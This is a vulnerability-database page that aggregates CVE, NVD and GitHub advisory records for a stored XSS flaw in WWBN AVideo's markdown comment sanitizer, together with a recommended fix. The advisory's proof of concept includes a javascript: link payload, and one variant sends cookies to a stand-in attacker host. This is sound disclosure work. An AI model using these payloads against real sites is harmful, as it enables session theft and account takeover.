Vulnerability-Lookup

CVE-2026-33500 (GCVE-0-2026-33500)

Vulnerability from cvelistv5 – Published: 2026-03-23 16:24 – Updated: 2026-03-24 17:39

Title

AVideo Vulnerable to Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `<a>` and `<img>` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. Commit 3ae02fa240939dbefc5949d64f05790fd25d728d contains a patch.

Severity

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-24 17:38 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7617 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/3ae02fa2409…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
WWBN	AVideo	Affected: <= 26.0	guessed

Show details on NVD website

JSON

To clipboard

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          },
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FKIE_CVE-2026-33500

Vulnerability from fkie_nvd - Published: 2026-03-23 17:16 - Updated: 2026-06-17 10:37

Severity

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d	Patch
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

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  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
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              "version": "\u003c= 26.0"
            }
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      ],
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    }
  ],
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      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown\u0027s `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown\u0027s `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown\u0027s built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. Commit 3ae02fa240939dbefc5949d64f05790fd25d728d contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, la correcci\u00f3n para CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introdujo una clase personalizada ParsedownSafeWithLinks que sanitiza las etiquetas HTML sin procesar `\u003ca rel=\"nofollow\"\u003e` e `` en los comentarios, pero deshabilita expl\u00edcitamente el safeMode de Parsedown. Esto crea un bypass: la sintaxis de enlace markdown `[text](javascript:alert(1))` es procesada por el m\u00e9todo inlineLink() de Parsedown, que no pasa por la sanitizaci\u00f3n personalizada sanitizeATag() (que solo maneja etiquetas HTML sin procesar). Con safeMode deshabilitado, el filtrado de URI `javascript:` incorporado de Parsedown (sanitiseElement()/filterUnsafeUrlInAttribute()) tambi\u00e9n est\u00e1 inactivo. Un atacante puede inyectar XSS almacenado a trav\u00e9s de enlaces markdown en comentarios. El commit 3ae02fa240939dbefc5949d64f05790fd25d728d contiene un parche.\u003c/a\u003e"
    }
  ],
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  "lastModified": "2026-06-17T10:37:36.503",
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}

GHSA-72H5-39R7-R26J

Vulnerability from github – Published: 2026-03-20 20:56 – Updated: 2026-03-25 20:31

Summary

AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization

Details

Summary

The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom ParsedownSafeWithLinks class that sanitizes raw HTML <a> and <img> tags in comments, but explicitly disables Parsedown's safeMode. This creates a bypass: markdown link syntax [text](javascript:alert(1)) is processed by Parsedown's inlineLink() method, which does not go through the custom sanitizeATag() sanitization (that only handles raw HTML tags). With safeMode disabled, Parsedown's built-in javascript: URI filtering (sanitiseElement()/filterUnsafeUrlInAttribute()) is also inactive. An attacker can inject stored XSS via comment markdown links.

Details

The original fix (commit ade348ed6) enabled setSafeMode(true), which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit f13587c59 with a custom approach that turned safeMode back off:

objects/functionsSecurity.php:442-446 — safeMode disabled:

function markDownToHTML($text) {
    $parsedown = new ParsedownSafeWithLinks();
    $parsedown->setSafeMode(false);   // line 445 — disables Parsedown's built-in javascript: filtering
    $parsedown->setMarkupEscaped(false);
    $html = $parsedown->text($text);

ParsedownSafeWithLinks (lines 349-440) overrides blockMarkup() and inlineMarkup() to sanitize raw HTML <a> tags via sanitizeATag(), which whitelist-checks the URL scheme:

// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
    $href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}

However, this sanitization only runs for raw HTML <a> tags processed through inlineMarkup(). Markdown-syntax links ([text](url)) are handled by Parsedown's core inlineLink() method (vendor/erusev/parsedown/Parsedown.php:1258), which constructs an element array and passes it to element().

vendor/erusev/parsedown/Parsedown.php:1470-1475 — sanitiseElement only runs when safeMode is true:

protected function element(array $Element)
{
    if ($this->safeMode)        // false — so sanitiseElement() is never called
    {
        $Element = $this->sanitiseElement($Element);
    }

sanitiseElement() would have called filterUnsafeUrlInAttribute() which replaces : with %3A for non-whitelisted schemes like javascript:, but it is never invoked.

Data flow: 1. User posts comment containing [Click here](javascript:alert(document.cookie)) 2. xss_esc() applies htmlspecialchars() — no HTML special chars exist in the payload, stored unchanged 3. On retrieval, xss_esc_back() reverses encoding (no-op), then markDownToHTML() converts markdown to <a href="javascript:alert(document.cookie)">Click here</a> 4. Result stored in commentWithLinks (objects/comment.php:420) 5. Rendered directly in DOM via template at view/videoComments_template.php:15: <p>{commentWithLinks}</p>

PoC

Log in as any user with comment permission
Navigate to any video page
Post a comment with the following markdown:

[Click here for more info](javascript:alert(document.cookie))

The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link
Clicking the link executes alert(document.cookie) in the victim's browser context

For session hijacking:

[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))

Impact

Session hijacking: Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover
Scope change (S:C): The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context
Persistence: The payload is stored in the database and triggers for every user who views the page and clicks the link
UI:R required: The victim must click the link, which limits the severity vs. auto-executing XSS

Recommended Fix

Override inlineLink() in ParsedownSafeWithLinks to apply URL scheme filtering to markdown-generated links:

class ParsedownSafeWithLinks extends Parsedown
{
    // ... existing code ...

    protected function inlineLink($Excerpt)
    {
        $Link = parent::inlineLink($Excerpt);

        if ($Link === null) {
            return null;
        }

        $href = $Link['element']['attributes']['href'] ?? '';

        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors
        if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
            $Link['element']['attributes']['href'] = '';
        }

        return $Link;
    }
}

Alternatively, re-enable safeMode(true) and find a different approach to allow <a> and <img> tags (e.g., post-processing the safe output to re-inject whitelisted tags).

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:56:52Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown\u0027s `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown\u0027s `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown\u0027s built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links.\n\n## Details\n\nThe original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown\u0027s built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off:\n\n**`objects/functionsSecurity.php:442-446` \u2014 safeMode disabled:**\n```php\nfunction markDownToHTML($text) {\n    $parsedown = new ParsedownSafeWithLinks();\n    $parsedown-\u003esetSafeMode(false);   // line 445 \u2014 disables Parsedown\u0027s built-in javascript: filtering\n    $parsedown-\u003esetMarkupEscaped(false);\n    $html = $parsedown-\u003etext($text);\n```\n\n**`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `\u003ca\u003e` tags via `sanitizeATag()`, which whitelist-checks the URL scheme:\n\n```php\n// sanitizeATag() at line 360 \u2014 only allows http(s), mailto, /, #\nif (preg_match(\u0027/^(https?:\\/\\/|mailto:|\\/|#)/i\u0027, $url)) {\n    $href = \u0027 href=\"\u0027 . htmlspecialchars($url, ENT_QUOTES) . \u0027\"\u0027;\n}\n```\n\nHowever, this sanitization only runs for **raw HTML** `\u003ca\u003e` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown\u0027s core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`.\n\n**`vendor/erusev/parsedown/Parsedown.php:1470-1475` \u2014 sanitiseElement only runs when safeMode is true:**\n```php\nprotected function element(array $Element)\n{\n    if ($this-\u003esafeMode)        // false \u2014 so sanitiseElement() is never called\n    {\n        $Element = $this-\u003esanitiseElement($Element);\n    }\n```\n\n`sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked.\n\n**Data flow:**\n1. User posts comment containing `[Click here](javascript:alert(document.cookie))`\n2. `xss_esc()` applies `htmlspecialchars()` \u2014 no HTML special chars exist in the payload, stored unchanged\n3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `\u003ca href=\"javascript:alert(document.cookie)\"\u003eClick here\u003c/a\u003e`\n4. Result stored in `commentWithLinks` (`objects/comment.php:420`)\n5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `\u003cp\u003e{commentWithLinks}\u003c/p\u003e`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim\u0027s browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch(\u0027https://attacker.example/steal?c=\u0027+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user\u0027s session, crossing the trust boundary from the attacker\u0027s low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n    // ... existing code ...\n\n    protected function inlineLink($Excerpt)\n    {\n        $Link = parent::inlineLink($Excerpt);\n\n        if ($Link === null) {\n            return null;\n        }\n\n        $href = $Link[\u0027element\u0027][\u0027attributes\u0027][\u0027href\u0027] ?? \u0027\u0027;\n\n        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n        if ($href !== \u0027\u0027 \u0026\u0026 !preg_match(\u0027/^(https?:\\/\\/|mailto:|\\/|#)/i\u0027, $href)) {\n            $Link[\u0027element\u0027][\u0027attributes\u0027][\u0027href\u0027] = \u0027\u0027;\n        }\n\n        return $Link;\n    }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `\u003ca\u003e` and `\u003cimg\u003e` tags (e.g., post-processing the safe output to re-inject whitelisted tags).",
  "id": "GHSA-72h5-39r7-r26j",
  "modified": "2026-03-25T20:31:32Z",
  "published": "2026-03-20T20:56:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

CVE-2026-33500 (GCVE-0-2026-33500)

FKIE_CVE-2026-33500

GHSA-72H5-39R7-R26J

Summary

Details

PoC

Impact

Recommended Fix

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